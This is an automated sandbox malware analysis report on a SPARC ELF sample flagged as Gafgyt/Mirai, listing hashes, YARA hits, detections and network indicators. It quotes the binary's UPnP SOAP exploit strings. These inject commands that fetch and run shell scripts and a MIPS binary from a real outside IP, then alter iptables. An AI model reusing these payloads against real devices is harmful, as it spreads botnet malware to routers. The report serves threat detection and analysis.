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Linux Analysis Report
boatnet.spc.elf

Overview

General Information

Sample name:	boatnet.spc.elf
Analysis ID:	1592301
MD5:	2bd7d6513230b3d546be5035da581234
SHA1:	5c9e605bef0e237514d61508e75bc81173b1cc24
SHA256:	7b9b0d2883eeb9dda3576c417df0a1b092a039bdb46512a907f84e99c1b658c9
Tags:	elfuser-abuse_ch
Infos:

Detection

Gafgyt, Mirai

Score:	88
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Gafgyt

Yara detected Mirai

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1592301
Start date and time:	2025-01-16 00:56:34 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	boatnet.spc.elf
Detection:	MAL
Classification:	mal88.troj.linELF@0/0@0/0

Warnings

VT rate limit hit for: http://5.181.159.16/c.sh;
VT rate limit hit for: http://5.181.159.16/idk/home.arm7;chmod
VT rate limit hit for: http://5.181.159.16/w.sh;
VT rate limit hit for: http://5.181.159.16/wget.sh;

Runtime Messages

Command:	/tmp/boatnet.spc.elf
PID:	5432
Exit Code:	1
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:	Unhandled trap: 0x2a pc: 00022210 npc: 00022214 %g0-7: 00000000 00000000 ffffee86 00000000 00039400 00000000 00000000 00000000 %o0-7: 25f70e3c 00000000 00000009 0000000a 00000013 00039400 ffffe610 0001954c %l0-7: 00000014 00000014 25f70e3c 00000000 00000014 00039400 ffffebf8 00039400 %i0-7: 00000001 ffffeda4 ffffedac 0000003c fffffefc 00039000 ffffec68 00025998 psr: 04400006 (icc: -Z-- SPE: ---) wim: 00000001 fsr: 00000000 y: 00000000

Process Tree

system is lnxubuntu20

boatnet.spc.elf (PID: 5432, Parent: 5356, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/boatnet.spc.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.cyber5w.com/gafgyt-backdoor-analysis https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
boatnet.spc.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
boatnet.spc.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
boatnet.spc.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
boatnet.spc.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x16758:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1676c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16780:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16794:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1680c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16820:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16834:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16848:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1685c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16870:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16884:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16898:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x168ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x168c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x168d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x168e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
boatnet.spc.elf	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x16630:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64

Memory Dumps

Source	Rule	Description	Author	Strings
5432.1.00007f80d4011000.00007f80d402b000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
5432.1.00007f80d4011000.00007f80d402b000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5432.1.00007f80d4011000.00007f80d402b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5432.1.00007f80d4011000.00007f80d402b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x16758:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1676c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16780:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16794:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1680c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16820:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16834:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16848:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1685c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16870:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16884:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16898:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x168ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x168c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x168d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x168e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5432.1.00007f80d4011000.00007f80d402b000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x16630:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: boatnet.spc.elf PID: 5432	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: boatnet.spc.elf PID: 5432	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: boatnet.spc.elf PID: 5432	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xd2f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd43:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd57:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd6b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd7f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd93:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xda7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xdbb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xdcf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xde3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xdf7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe0b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe1f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe33:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe47:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe5b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe6f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe83:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe97:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeab:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xebf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: boatnet.spc.elf PID: 5432	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0xc19:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Click to see the 4 entries

String: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>busybox wget http://5.181.159.16/w.sh; sh w.sh; curl http://5.181.159.16/c.sh; sh c.sh; wget http://5.181.159.16/wget.sh; sh wget.sh; curl http://5.181.159.16/wget.sh; sh wget.sh; busybox wget http://5.181.159.16/wget.sh; sh wget.sh; busybox curl http://5.181.159.16/wget.sh; sh wget.sh; iptables -A INPUT -p tcp --destination-port 5555 -j DROP`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Source: global traffic

TCP traffic: 192.168.2.13:48202 -> 185.125.190.26:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26

Source: boatnet.spc.elf	String found in binary or memory: http://5.181.159.16/c.sh;
Source: boatnet.spc.elf	String found in binary or memory: http://5.181.159.16/idk/home.arm7;chmod
Source: boatnet.spc.elf	String found in binary or memory: http://5.181.159.16/idk/home.mips
Source: boatnet.spc.elf	String found in binary or memory: http://5.181.159.16/idk/home.mips;
Source: boatnet.spc.elf	String found in binary or memory: http://5.181.159.16/idk/home.x86
Source: boatnet.spc.elf	String found in binary or memory: http://5.181.159.16/w.sh;
Source: boatnet.spc.elf	String found in binary or memory: http://5.181.159.16/wget.sh;
Source: boatnet.spc.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: boatnet.spc.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown

Network traffic detected: HTTP traffic on port 48202 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: boatnet.spc.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: boatnet.spc.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5432.1.00007f80d4011000.00007f80d402b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5432.1.00007f80d4011000.00007f80d402b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: boatnet.spc.elf PID: 5432, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: boatnet.spc.elf PID: 5432, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>busybox wget http://5.181.159.16/w.sh; sh w.sh; curl http://5.181.159.16/c.sh; sh c.sh; wget http://5.181.159.16/wget.sh; sh wget.sh; curl http://5.181.159.16/wget.sh; sh wget.sh; busybox wget http://5.181.159.16/wget.sh; sh wget.sh; busybox curl http://5.181.159.16/wget.sh; sh wget.sh; iptables -A INPUT -p tcp --destination-port 5555 -j DROP`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 5.181.159.16 -l /tmp/bigH -r /idk/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: boatnet.spc.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: boatnet.spc.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5432.1.00007f80d4011000.00007f80d402b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5432.1.00007f80d4011000.00007f80d402b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: boatnet.spc.elf PID: 5432, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: boatnet.spc.elf PID: 5432, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16

Source: classification engine

Classification label: mal88.troj.linELF@0/0@0/0

Source: /tmp/boatnet.spc.elf (PID: 5432)

Queries kernel information via 'uname':

Jump to behavior

Source: boatnet.spc.elf, 5432.1.00005625e9a5b000.00005625e9ac0000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: boatnet.spc.elf, 5432.1.00007ffecbe89000.00007ffecbeaa000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/boatnet.spc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/boatnet.spc.elf
Source: boatnet.spc.elf, 5432.1.00005625e9a5b000.00005625e9ac0000.rw-.sdmp	Binary or memory string: %V!/etc/qemu-binfmt/sparc
Source: boatnet.spc.elf, 5432.1.00007ffecbe89000.00007ffecbeaa000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match	File source: boatnet.spc.elf, type: SAMPLE
Source: Yara match	File source: 5432.1.00007f80d4011000.00007f80d402b000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: boatnet.spc.elf, type: SAMPLE
Source: Yara match	File source: 5432.1.00007f80d4011000.00007f80d402b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: boatnet.spc.elf PID: 5432, type: MEMORYSTR

Remote Access Functionality

Yara detected Gafgyt

Source: Yara match	File source: boatnet.spc.elf, type: SAMPLE
Source: Yara match	File source: 5432.1.00007f80d4011000.00007f80d402b000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: boatnet.spc.elf, type: SAMPLE
Source: Yara match	File source: 5432.1.00007f80d4011000.00007f80d402b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: boatnet.spc.elf PID: 5432, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

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Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
boatnet.spc.elf	55%	ReversingLabs	Linux.Backdoor.Mirai
boatnet.spc.elf	61%	Virustotal		Browse
boatnet.spc.elf	100%	Avira	LINUX/Mirai.bonb

Name	Source	Malicious	Reputation
http://5.181.159.16/wget.sh;	boatnet.spc.elf	false	unknown
http://5.181.159.16/idk/home.arm7;chmod	boatnet.spc.elf	false	unknown
http://5.181.159.16/w.sh;	boatnet.spc.elf	false	unknown
http://5.181.159.16/c.sh;	boatnet.spc.elf	false	unknown
http://schemas.xmlsoap.org/soap/encoding/	boatnet.spc.elf	false	high
http://5.181.159.16/idk/home.mips	boatnet.spc.elf	false	unknown
http://5.181.159.16/idk/home.mips;	boatnet.spc.elf	false	unknown
http://5.181.159.16/idk/home.x86	boatnet.spc.elf	false	unknown
http://schemas.xmlsoap.org/soap/envelope/	boatnet.spc.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.125.190.26	unknown	United Kingdom		41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.125.190.26	res.arc.elf	Get hash	malicious	Unknown	Browse
	disbot.elf	Get hash	malicious	Unknown	Browse
	ub8ehJSePAfc9FYqZIT6.arm7.elf	Get hash	malicious	Unknown	Browse
	boooooos.arm7.elf	Get hash	malicious	Unknown	Browse
	Aqua.arm6.elf	Get hash	malicious	Unknown	Browse
	Mozi.m.elf	Get hash	malicious	Mirai	Browse
	arm7.elf	Get hash	malicious	Mirai	Browse
	arm6.elf	Get hash	malicious	Mirai	Browse
	main_arm.elf	Get hash	malicious	Mirai	Browse
	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	res.arc.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	boatnet.arm5.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.321392131017168
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	boatnet.spc.elf
File size:	103'928 bytes
MD5:	2bd7d6513230b3d546be5035da581234
SHA1:	5c9e605bef0e237514d61508e75bc81173b1cc24
SHA256:	7b9b0d2883eeb9dda3576c417df0a1b092a039bdb46512a907f84e99c1b658c9
SHA512:	f6e46d0a9b992af9724ddbe6b783571026e8a70da015db6fbb4ba588753e09b0a6e8c98ea24aa34bcc2721e002930fb465922bd0f830e4ef3810dbad912301b2
